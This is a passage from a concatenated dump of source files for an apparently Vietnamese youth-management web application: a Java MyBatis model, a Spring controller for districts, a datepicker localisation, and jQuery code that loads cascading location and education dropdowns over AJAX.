Mẫu" }, { link: rootPath +"0010/", image:"../resources/img/contract.png", title:"Quản Lý Chữ Ký", kind: "Chữ Ký" }, { link: rootPath +"0011/", image:"../resources/img/Country-icon.png", title:"Quản Lý Thông Tin Quốc Tịch", kind: "Quốc Tịch" }, { link: rootPath +"0012/", image:"../resources/img/flats.png", title:"Quản Lý Tỉnh/Thành Phố", kind: "Tỉnh/Thành Phố" }, { link: rootPath +"0013/", image:"../resources/img/Map_District_Plain_Red.png", title:"Quản Lý Quận/Huyện", kind: "Quận/Huyện" }, { link: rootPath +"0014/", image:"../resources/img/placeholder.png", title:"Quản Lý Phường/Xã", kind: "Phường/Xã" }, { link: rootPath +"0015/", image:"../resources/img/placeholder_ward.png", title:"Quản Lý Khu Phố", kind: "Khu Phố" }, { link: rootPath +"0016/", image:"../resources/img/network.png", title:"Quản Lý Tổ Dân Phố", kind: "Tổ Dân Phố" }, { link: rootPath +"0022/", image:"../resources/img/mortarboard.png", title:"Thống Kê Trình Độ Học Vấn", kind: "Trình Độ Học Vấn" }, { link: rootPath +"0018/", image:"../resources/img/university.png", title:"Thống Kê Đại Học/Cao Đẳng/Trung Cấp", kind: "Đại Học" }, { link: rootPath +"0019/", image:"../resources/img/engineer.png", title:"Thống Kê Chuyên Ngành", kind: "Chuyên Ngành" }, { link: rootPath +"0003/", image:"../resources/img/grandparents-with-child.png", title:"Quản Lý Thân Nhân Thanh Niên", kind: "Thân Nhân" }, { link: rootPath +"0003/", image:"../resources/img/farmer.png", title:"Quản Lý Công Việc", kind: "Công Việc" }, { link: rootPath +"0003/", image:"../resources/img/map-grid-with-placeholder-interface-symbol.png", title:"Thiết Lập Vùng Sinh Sống", kind: "Vùng Sinh Sống" } ], hoten: function() { var doituongsinhvien; doituongsinhvien = $scope.sinhvien; return doituongsinhvien.ho + " " + doituongsinhvien.ten; } }; }); }); ``` QltnMCountry.java ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMCountry { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_country.COUNTRY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String countryId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_country.COUNTRY_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String countryCode; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_country.COUNTRY_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String countryName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_country.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_country.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_country.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_country.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_country.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_country.COUNTRY_ID * * @return the value of qltn_m_country.COUNTRY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCountryId() { return countryId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_country.COUNTRY_ID * * @param countryId the value for qltn_m_country.COUNTRY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCountryId(String countryId) { this.countryId = countryId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_country.COUNTRY_CODE * * @return the value of qltn_m_country.COUNTRY_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCountryCode() { return countryCode; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_country.COUNTRY_CODE * * @param countryCode the value for qltn_m_country.COUNTRY_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCountryCode(String countryCode) { this.countryCode = countryCode; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_country.COUNTRY_NAME * * @return the value of qltn_m_country.COUNTRY_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCountryName() { return countryName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_country.COUNTRY_NAME * * @param countryName the value for qltn_m_country.COUNTRY_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCountryName(String countryName) { this.countryName = countryName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_country.CREATE_USER_ID * * @return the value of qltn_m_country.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_country.CREATE_USER_ID * * @param createUserId the value for qltn_m_country.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_country.CREATE_DATE * * @return the value of qltn_m_country.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_country.CREATE_DATE * * @param createDate the value for qltn_m_country.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_country.UPDATE_USER_ID * * @return the value of qltn_m_country.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_country.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_country.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_country.LAST_UPDATE_DATE * * @return the value of qltn_m_country.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_country.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_country.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_country.DELETE_FLAG * * @return the value of qltn_m_country.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_country.DELETE_FLAG * * @param deleteFlag the value for qltn_m_country.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` dbc33c99d1abab6a2a96537b172ad85f9cf43f74.svn-base ```/* Japanese initialisation for the jQuery UI date picker plugin. */ /* Written by Kentaro SATO (kentaro@ranvis.com). */ jQuery(function($){ $.datepicker.regional['ja'] = { closeText: 'Next', prevText: 'Previous', nextText: 'Next', currentText: 'A', monthNames: ['Jannualy','Febuary','Match','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['1','2','3','4','5','6', '7','8','9','10','11','12'], dayNames: ['Monday','TuesDay','WednesDay','ThursDay','FriDay','SaturDay','SunDay'], dayNamesShort: ['Mo','Tu','We','Th','Fr','Sa','Su'], dayNamesMin: ['Mo','Tu','We','Th','Fr','Sa','Su'], weekHeader: 'Week', dateFormat: 'yy-mm-dd', firstDay: 0, isRTL: false, showMonthAfterYear: true, yearSuffix: '-'}; $.datepicker.setDefaults($.datepicker.regional['ja']); });``` eee62cf96023fcc7706765d35f786c8bdbfeb597.svn-base ```package vn.youthmanager.ict.youth.controller; import java.util.List; import java.util.Locale; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.mvc.support.RedirectAttributes; import vn.youthmanager.ict.common.db.model.QltnMCity; import vn.youthmanager.ict.common.db.model.QltnMDistrict; import vn.youthmanager.ict.youth.db.model.Sym0012Result; import vn.youthmanager.ict.youth.db.model.Sym0013Conditions; import vn.youthmanager.ict.youth.db.model.Sym0013Result; import vn.youthmanager.ict.youth.service.Sym0013Service; @Controller @RequestMapping(value = "/0013") public class Sym0013Controller { @Autowired private Sym0013Service Sym0013Service; @RequestMapping(value = "/", method = RequestMethod.GET) public String top(Locale locale, Model model, @ModelAttribute("Sym013CityData") Sym0012Result sym0012Result) { Sym0013Service.initData(model, sym0012Result.getCountryId(), sym0012Result.getCityId()); return "youth/0013"; } @RequestMapping(value = "/searchData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody List<Sym0013Result> searchData(@RequestBody Sym0013Conditions searchConditions) { return Sym0013Service.searchData(searchConditions); } @RequestMapping(value = "/updateData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody String updateData(@RequestBody QltnMDistrict cateData) { return Sym0013Service.updateData(cateData); } @RequestMapping(value = "/insertData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody String insertData(@RequestBody QltnMDistrict cateData) { return Sym0013Service.insertData(cateData); } @RequestMapping(value = "/deleteData", method = RequestMethod.POST) public @ResponseBody String deleteData(@RequestParam(value = "districtId") String districtId) { return Sym0013Service.deleteData(districtId); } /** * Get Data In Table QLTN_M_DISTRICT by district Id. * * @param districtId : data from client. * @return List QltnMDistrict. */ @RequestMapping(value = "/getSingleData", method = RequestMethod.POST) public @ResponseBody QltnMDistrict getSingleData(@RequestParam(value = "districtId") String districtId) { return Sym0013Service.getSingleData(districtId); } /** * Change page to 0013 and transfer data * @param countryId : countryId received from client * @param cityId : city's id received from client * @param districtId : districtId id received from client * @return redirect to 0013 and data get from client */ @RequestMapping(value = "/changePage", method = RequestMethod.POST) public String changePage(RedirectAttributes rattrs, @RequestParam(value = "cityId") String cityId, @RequestParam(value = "countryId") String countryId,@RequestParam(value = "districtId") String districtId) { Sym0013Result Sym0013Result = new Sym0013Result(); Sym0013Result.setCityId(cityId); Sym0013Result.setCountryId(countryId); Sym0013Result.setDistrictId(districtId); rattrs.addFlashAttribute("Sym013DistrictData", Sym0013Result); return "redirect:../0014/"; } /** * Get data for City combobox by Country id * * @param country : data received from client * @return City data */ @RequestMapping(value = "/getCityDataByCountryId", method = RequestMethod.POST) public @ResponseBody List<QltnMCity> getCityDataByCountryId(@RequestParam(value = "countryId") String countryId) { return Sym0013Service.getCityNameByCountryId(countryId); } } ``` 0040.js ```/** * author Nghia Nguyen */ $(document).ready(function(){ //--------------- Constants definition --------------- // number of items in one page in table var ITEM_IN_ONE_PAGE = 10; //--------------- Variables definition --------------- // application path var rootPath = getContextPath(); // search result total data count var totalResultCount = 0; // variables for handling pager var currentPage = 1; var maxPage = 0; var from = 0; // variable to store selected row index var selectedRowIndex = ""; // variable to store selected cate id to show in popup var catesIdPopup = ""; // variable to store current selected mode var currentMode = ""; var countStt = 0; var isPopupMode = false; initComboboxData(false); // Country name combobox change event process $("#cbbCountry").bind("change", function() { // load city name combobox loadCityDataCombobox(false); }); // Country name combobox change event process in popup $("#cbbCountryPopup").bind("change", function() { // load city name combobox loadCityDataCombobox(true); }); // Country name combobox change event process $("#cbbCity").bind("change", function() { // load District name combobox loadDistrictDataByCityId(false); }); // Country name combobox change event process $("#cbbCityPopup").bind("change", function() { // load District name combobox loadDistrictDataByCityId(true); }); // District name combobox change event process $("#cbbDistrict").bind("change", function() { // load Wards name combobox loadWardsDataByDistrictId(false); }); // District name combobox change event process $("#cbbDistrictPopup").bind("change", function() { // load Wards name combobox loadWardsDataByDistrictId(true); }); // Wards name combobox change event process $("#cbbWards").bind("change", function() { // load Town name combobox loadTownDataByWardsId(false); }); // Wards name combobox change event process in Popup $("#cbbWardsPopup").bind("change", function() { // load Town name combobox loadTownDataByWardsId(true); }); // Town name combobox change event process $("#cbbTown").bind("change", function() { // load Groups name combobox loadGroupsDataByTownId(false); }); // Town name combobox change event process in Popup $("#cbbTownPopup").bind("change", function() { // load Groups name combobox loadGroupsDataByTownId(true); }); // univeristy name combobox change event process in Popup $("#cbbEducation").bind("change", function() { // load Town name combobox loadUniversityDataByeducationId(false); }); // univeristy name combobox change event process in Popup $("#cbbEducationPopup").bind("change", function() { // load Town name combobox loadUniversityDataByeducationId(true); }); // univeristy name combobox change event process $("#cbbUniversity").bind("change", function() { // load Town name combobox loadSpecializedDataByUniverisityId(false); }); // univeristy name combobox change event process in Popup $("#cbbUniversityPopup").bind("change", function() { // load Town name combobox loadSpecializedDataByUniverisityId(true); }); // Load University Data into selected Box function loadUniversityDataByeducationId(isPopupMode) { var selectedEducationId = ""; if (isPopupMode) { selectedEducationId = $("#cbbEducationPopup").find("option:selected").val(); } else { selectedEducationId = $("#cbbEducation").find("option:selected").val(); } // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedEducationId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getUniversityDataByEducationId", data: { "educationId": selectedEducationId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].universityId + "'>" + returnedJsonData[i].universityName + "</option>"; } } // enable combobox if (returnedJsonData != "") { if (isPopupMode) { // set options to combobox $("#cbbUniversityPopup").empty().append(optionStr); $("#cbbUniversityPopup").prop("disabled", false); loadSpecializedDataByUniverisityId(true); } else { // set options to combobox $("#cbbUniversity").empty().append(optionStr); $("#cbbUniversity").prop("disabled", false); loadSpecializedDataByUniverisityId(false); } } else { // reset empty combobox and disabled if (isPopupMode) { $("#cbbUniversityPopup").empty().append(optionStr).prop("disabled", true); $("#cbbSpecializedPopup").empty().append(optionStr).prop("disabled", true); } else { $("#cbbUniversity").empty().append(optionStr).prop("disabled", true); $("#cbbSpecialized").empty().append(optionStr).prop("disabled", true); } } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { if (isPopupMode) { // clear combobox $("#cbbUniversityPopup").empty(); // disable combobox $("#cbbUniversityPopup").append(optionStr).prop("disabled", true); // clear combobox $("#cbbSpecializedPopup").empty(); // disable combobox $("#cbbSpecializedPopup").append(optionStr).prop("disabled", true); } else { // clear combobox $("#cbbUniversity").empty(); // disable combobox $("#cbbUniversity").append(optionStr).prop("disabled", true); // clear combobox $("#cbbSpecialized").empty(); // disable combobox $("#cbbSpecialized").append(optionStr).prop("disabled", true); } } } // Load Specialized name combobox data function loadSpecializedDataByUniverisityId(isPopupMode) { var selectedUniversityId = ""; if (isPopupMode) { selectedUniversityId = $("#cbbUniversityPopup").find("option:selected").val(); } else { selectedUniversityId = $("#cbbUniversity").find("option:selected").val(); } // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedUniversityId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getSpecializedDataByUniversityId", data: { "universityId": selectedUniversityId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].specializedId + "'>" + returnedJsonData[i].specializedName + "</option>"; } } // enable combobox if (returnedJsonData != "") { if (isPopupMode) { // set options to combobox $("#cbbSpecializedPopup").empty().append(optionStr); $("#cbbSpecializedPopup").prop("disabled", false); } else { // set options to combobox $("#cbbSpecialized").empty().append(optionStr); $("#cbbSpecialized").prop("disabled", false); } } else { // reset empty combobox and disabled if (isPopupMode) { $("#cbbSpecializedPopup").empty(); $("#cbbSpecializedPopup").empty().append(optionStr).prop("disabled", true); } else { $("#cbbSpecialized").empty(); $("#cbbSpecialized").empty().append(optionStr).prop("disabled", true); } } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { if (isPopupMode) { // clear combobox $("#cbbSpecializedPopup").empty(); // disable combobox $("#cbbSpecializedPopup").append(optionStr).prop("disabled", true); } else { // clear combobox $("#cbbSpecialized").empty(); // disable combobox $("#cbbSpecialized").append(optionStr).prop("disabled", true); } } } // Load Area name combobox data function loadCityDataCombobox(isPopupMode) { var selectedCountryId = ""; if (isPopupMode) { selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); } else { selectedCountryId = $("#cbbCountry").find("option:selected").val(); } if (selectedCountryId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getCityDataByCountryId", data: { "countryId": selectedCountryId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].cityId + "'>" + returnedJsonData[i].cityName + "</option>"; } } // enable combobox if (returnedJsonData != "") { if (isPopupMode) { // set options to combobox $("#cbbCityPopup").empty().append(optionStr); $("#cbbCityPopup").prop("disabled", false); loadDistrictDataByCityId(true); } else { // set options to combobox $("#cbbCity").empty().append(optionStr); $("#cbbCity").prop("disabled", false); loadDistrictDataByCityId(false); } } else { if (isPopupMode) { // reset empty combobox and disabled $("#cbbCityPopup").empty().append(optionStr).prop("disabled", true); $("#cbbDistrictPopup").empty().append(optionStr).prop("disabled", true); $("#cbbWardsPopup").empty().append(optionStr).prop("disabled", true); $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } else { // reset empty combobox and disabled $("#cbbCity").empty().append(optionStr).prop("disabled", true); $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox $("#cbbCity").empty(); $("#cbbDistrict").empty(); $("#cbbWards").empty(); $("#cbbTown").empty(); // disable combobox $("#cbbCity").prop("disabled", true); $("#cbbDistrict").prop("disabled", true); $("#cbbWards").prop("disabled", true); $("#cbbTown").prop("disabled", true); $("#cbbGroups").empty().prop("disabled", true); } } function loadDistrictDataByCityId(isPopupMode) { var selectedCountryId = ""; // get cityId var selectCityId = ""; if (isPopupMode) { selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); selectCityId = $("#cbbCityPopup").find("option:selected").val(); } else { selectedCountryId = $("#cbbCountry").find("option:selected").val(); selectCityId = $("#cbbCity").find("option:selected").val(); } // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getDistrictDataByCityId", data: { "countryId": selectedCountryId, "cityId": selectCityId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].districtId + "'>" + returnedJsonData[i].districtName + "</option>"; } } // enable combobox if (returnedJsonData != "") { if (isPopupMode) { // set options to combobox $("#cbbDistrictPopup").empty().append(optionStr); $("#cbbDistrictPopup").prop("disabled", false); loadWardsDataByDistrictId(true); } else { // set options to combobox $("#cbbDistrict").empty().append(optionStr); $("#cbbDistrict").prop("disabled", false); loadWardsDataByDistrictId(false); } } else { if (isPopupMode) { $("#cbbDistrictPopup").empty().append(optionStr).prop("disabled", true); $("#cbbWardsPopup").empty().append(optionStr).prop("disabled", true); $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } else { $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear & disable combobox $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } function loadWardsDataByDistrictId(isPopupMode) { var selectedCountryId = ""; // get cityId var selectCityId = ""; // get District var selectDistrictId = "" if (isPopupMode) { selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); selectCityId = $("#cbbCityPopup").find("option:selected").val(); selectDistrictId = $("#cbbDistrictPopup").find("option:selected").val(); } else { selectedCountryId = $("#cbbCountry").find("option:selected").val(); selectCityId = $("#cbbCity").find("option:selected").val(); selectDistrictId = $("#cbbDistrict").find("option:selected").val(); } // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getWardsDataByDistrictId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].wardsId + "'>" + returnedJsonData[i].wardsName + "</option>"; } } // enable combobox if (returnedJsonData != "") { if (isPopupMode) { $("#cbbWardsPopup").prop("disabled", false); // set options to combobox $("#cbbWardsPopup").empty().append(optionStr); loadTownDataByWardsId(true); } else { // set options to combobox $("#cbbWards").empty().append(optionStr); $("#cbbWards").prop("disabled", false); loadTownDataByWardsId(false); } } else { if (isPopupMode) { $("#cbbWardsPopup").empty().append(optionStr).prop("disabled", true); $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } else { $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox disable combobox if (isPopupMode) { $("#cbbWardsPopup").empty().append(optionStr).prop("disabled", true); $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } else { $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } } function loadTownDataByWardsId(isPopupMode) { var selectedCountryId = ""; // get cityId var selectCityId = ""; // get District var selectDistrictId = ""; // get Wards var selectWardsId = ""; if (isPopupMode) { selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); selectCityId = $("#cbbCityPopup").find("option:selected").val(); selectDistrictId = $("#cbbDistrictPopup").find("option:selected").val(); selectWardsId = $("#cbbWardsPopup").find("option:selected").val(); } else { selectedCountryId = $("#cbbCountry").find("option:selected").val(); selectCityId = $("#cbbCity").find("option:selected").val(); selectDistrictId = $("#cbbDistrict").find("option:selected").val(); selectWardsId = $("#cbbWards").find("option:selected").val(); } // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT && selectWardsId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getTownDataByWardsId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId, "wardsId" : selectWardsId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].townId + "'>" + returnedJsonData[i].townName + "</option>"; } } // enable combobox if (returnedJsonData != "") { if(isPopupMode) { // set options to combobox $("#cbbTownPopup").empty().append(optionStr); $("#cbbTownPopup").prop("disabled", false); loadGroupsDataByTownId(true); } else { // set options to combobox $("#cbbTown").empty().append(optionStr); $("#cbbTown").prop("disabled", false); loadGroupsDataByTownId(false); } } else { if(isPopupMode) { $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); } else { $("#cbbTown").empty().append(optionStr).prop("disabled", true); } } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { if(isPopupMode) { // clear combobox disable combobox $("#cbbTownPopup").empty().append(optionStr).prop("disabled", true); } else { // clear combobox disable combobox $("#cbbTown").empty().append(optionStr).prop("disabled", true); } } } function loadGroupsDataByTownId(isPopupMode) { var selectedCountryId = ""; // get cityId var selectCityId = ""; // get District var selectDistrictId = "" // get Wards var selectWardsId = "" // get Town var selectTownId = "" if (isPopupMode) { selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); selectCityId = $("#cbbCityPopup").find("option:selected").val(); selectDistrictId = $("#cbbDistrictPopup").find("option:selected").val(); selectWardsId = $("#cbbWardsPopup").find("option:selected").val(); selectTownId = $("#cbbTownPopup").find("option:selected").val(); } else { selectedCountryId = $("#cbbCountry").find("option:selected").val(); selectCityId = $("#cbbCity").find("option:selected").val(); selectDistrictId = $("#cbbDistrict").find("option:selected").val(); selectWardsId = $("#cbbWards").find("option:selected").val(); selectTownId = $("#cbbTown").find("option:selected").val(); } // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT && selectWardsId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getGroupsDataByTownId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId, "wardsId" : selectWardsId, "townId" : selectTownId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].groupsId + "'>" + returnedJsonData[i].groupsName + "</option>"; } } // enable combobox if (returnedJsonData != "") { if (isPopupMode) { // set options to combobox $("#cbbGroupsPopup").empty().append(optionStr); $("#cbbGroupsPopup").prop("disabled", false); } else { // set options to combobox $("#cbbGroups").empty().append(optionStr); $("#cbbGroups").prop("disabled", false); } } else { if (isPopupMode) { $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } else { $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { if (isPopupMode) { $("#cbbGroupsPopup").empty().append(optionStr).prop("disabled", true); } else { $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } } function resetSearchConditions() { $("#txtCountryNamePopup").val(""); $("#txtCityNamePopup").val(""); $("#txtDistrictNamePopup").val(""); $("#txtWardsNamePopup").val(""); $("#txtTownNamePopup").val(""); $("#txtGroupsIdPopup").val(""); $("#txtGroupsCodePopup").val(""); $("#txtGroupsNamePopup").val(""); } // Country name combobox change event process $("#cbbReport").bind("change", function() { // load Area name combobox loadDetailReportDataCombobox(); }); function getLastSTT() { $.ajax({ type: "POST", url: "getLastSTTPerson", async: false, success: function(returnedJsonData) { var STT = returnedJsonData.split("-"); $("#txtKskQuanStt").val(STT[0]); $("#txtLltnStt").val(STT[1]); }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }) } // Register cate click event process $("#btnRegister").bind("click", function() { $(".alert").addClass("display-none"); getLastSTT(); /*$("#addNewPerson").load()*/ clearPopupControl(); // change state of controls in popup based on mode setPopupControlState(MODE_NEW); }); // Clear all current text of popup controls function clearPopupControl() { // person id $("#txtPersonIdPopup").val(""); // person name $("#txtPersonNamePopup").val(""); // Birth Day $("#datepicker").val(""); // Indentity Card $("#txtIndentityCardPopup").val(""); // phone $("#txtPhonePopup").val(""); // nation $("#txtNationPopup").val(""); // religion $("#txtReligionPopup").val(""); // Permanent Address $("#txtPermanentAddressPopup").val(""); // Temporary Residence Address $("#txtTemporaryResidenceAddressPopup").val(""); // Temporary Residence Address $("#txtTemporaryResidenceAddressPopup").val(""); // place of birth $("#cbbPlaceOfBirth").val(""); } // Change state of controls in popup based on mode function setPopupControlState(mode) { if (mode == MODE_NEW) { // set current mode currentMode = MODE_NEW; 